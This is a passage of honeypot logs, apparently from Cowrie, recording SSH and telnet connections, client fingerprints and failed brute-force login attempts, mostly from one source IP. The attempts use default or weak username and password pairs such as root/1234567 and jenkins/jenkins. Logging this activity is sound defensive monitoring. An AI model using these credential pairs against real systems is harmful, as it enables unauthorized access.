m@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:54.029675Z","src_ip":"141.11.88.14","session":"fd8e13ef0c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web","message":"login attempt [web/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:55.071241Z","src_ip":"141.11.88.14","session":"fd8e13ef0c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:55.179017Z","src_ip":"41.86.34.139","session":"55d968300466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:56.193110Z","src_ip":"141.11.88.14","session":"fd8e13ef0c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60456,"dst_ip":"159.203.135.109","dst_port":23,"session":"acdcd6d40364","protocol":"telnet","message":"New connection: 172.81.62.90:60456 (159.203.135.109:23) [session: acdcd6d40364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:59.365781Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61066,"dst_ip":"10.17.0.5","dst_port":22,"session":"6575440661b2","protocol":"ssh","message":"New connection: 141.11.88.14:61066 (10.17.0.5:22) [session: 6575440661b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:00.681067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:00.787800Z","src_ip":"141.11.88.14","session":"6575440661b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:00.793297Z","src_ip":"141.11.88.14","session":"6575440661b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:02.430082Z","src_ip":"141.11.88.14","session":"6575440661b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:03.577480Z","src_ip":"141.11.88.14","session":"6575440661b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38004,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a05b7b36088","protocol":"telnet","message":"New connection: 128.199.8.54:38004 (159.203.135.109:23) [session: 0a05b7b36088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:03.913819Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37542,"dst_ip":"10.17.0.5","dst_port":22,"session":"b19b84b11fa1","protocol":"ssh","message":"New connection: 141.11.88.14:37542 (10.17.0.5:22) [session: b19b84b11fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:08.115985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:08.524967Z","src_ip":"141.11.88.14","session":"b19b84b11fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:08.529942Z","src_ip":"141.11.88.14","session":"b19b84b11fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza1234","message":"login attempt [root/Reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:09.546694Z","src_ip":"141.11.88.14","session":"b19b84b11fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:10.661551Z","src_ip":"141.11.88.14","session":"b19b84b11fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42714,"dst_ip":"159.203.135.109","dst_port":23,"session":"1133711b13db","protocol":"telnet","message":"New connection: 128.199.8.54:42714 (159.203.135.109:23) [session: 1133711b13db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:12.090723Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37578,"dst_ip":"10.17.0.5","dst_port":22,"session":"541f802dff0a","protocol":"ssh","message":"New connection: 141.11.88.14:37578 (10.17.0.5:22) [session: 541f802dff0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:15.845179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:16.114657Z","src_ip":"141.11.88.14","session":"541f802dff0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:16.118428Z","src_ip":"141.11.88.14","session":"541f802dff0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:17.359387Z","src_ip":"141.11.88.14","session":"541f802dff0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:18.516773Z","src_ip":"141.11.88.14","session":"541f802dff0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24388,"dst_ip":"10.17.0.5","dst_port":22,"session":"71d5f15390d2","protocol":"ssh","message":"New connection: 141.11.88.14:24388 (10.17.0.5:22) [session: 71d5f15390d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:22.986000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:23.170053Z","src_ip":"141.11.88.14","session":"71d5f15390d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:23.178579Z","src_ip":"141.11.88.14","session":"71d5f15390d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:24.200989Z","src_ip":"141.11.88.14","session":"71d5f15390d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:25.597008Z","src_ip":"141.11.88.14","session":"71d5f15390d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":51359,"dst_ip":"10.17.0.5","dst_port":22,"session":"c605973480af","protocol":"ssh","message":"New connection: 36.92.41.115:51359 (10.17.0.5:22) [session: c605973480af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:26.326339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:26.330866Z","src_ip":"36.92.41.115","session":"c605973480af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:26.588294Z","src_ip":"36.92.41.115","session":"c605973480af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lth","password":"123456","message":"login attempt [lth/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:27.650536Z","src_ip":"36.92.41.115","session":"c605973480af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:28.912606Z","src_ip":"36.92.41.115","session":"c605973480af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27510,"dst_ip":"10.17.0.5","dst_port":22,"session":"8227911a638a","protocol":"ssh","message":"New connection: 141.11.88.14:27510 (10.17.0.5:22) [session: 8227911a638a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:30.389721Z"}
{"eventid":"cowrie.session.closed","duration":31.19740390777588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:30.563054Z","src_ip":"172.81.62.90","session":"acdcd6d40364","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:30.617002Z","src_ip":"141.11.88.14","session":"8227911a638a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:30.620605Z","src_ip":"141.11.88.14","session":"8227911a638a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345","message":"login attempt [test/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:31.887942Z","src_ip":"141.11.88.14","session":"8227911a638a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:33.113472Z","src_ip":"141.11.88.14","session":"8227911a638a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27534,"dst_ip":"10.17.0.5","dst_port":22,"session":"7684a0662345","protocol":"ssh","message":"New connection: 141.11.88.14:27534 (10.17.0.5:22) [session: 7684a0662345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:36.945011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:37.030419Z","src_ip":"141.11.88.14","session":"7684a0662345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:37.197602Z","src_ip":"141.11.88.14","session":"7684a0662345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:37.848915Z","src_ip":"141.11.88.14","session":"7684a0662345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:39.050552Z","src_ip":"141.11.88.14","session":"7684a0662345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10520,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f750d9c6729","protocol":"ssh","message":"New connection: 141.11.88.14:10520 (10.17.0.5:22) [session: 0f750d9c6729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:44.893710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:44.918793Z","src_ip":"141.11.88.14","session":"0f750d9c6729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.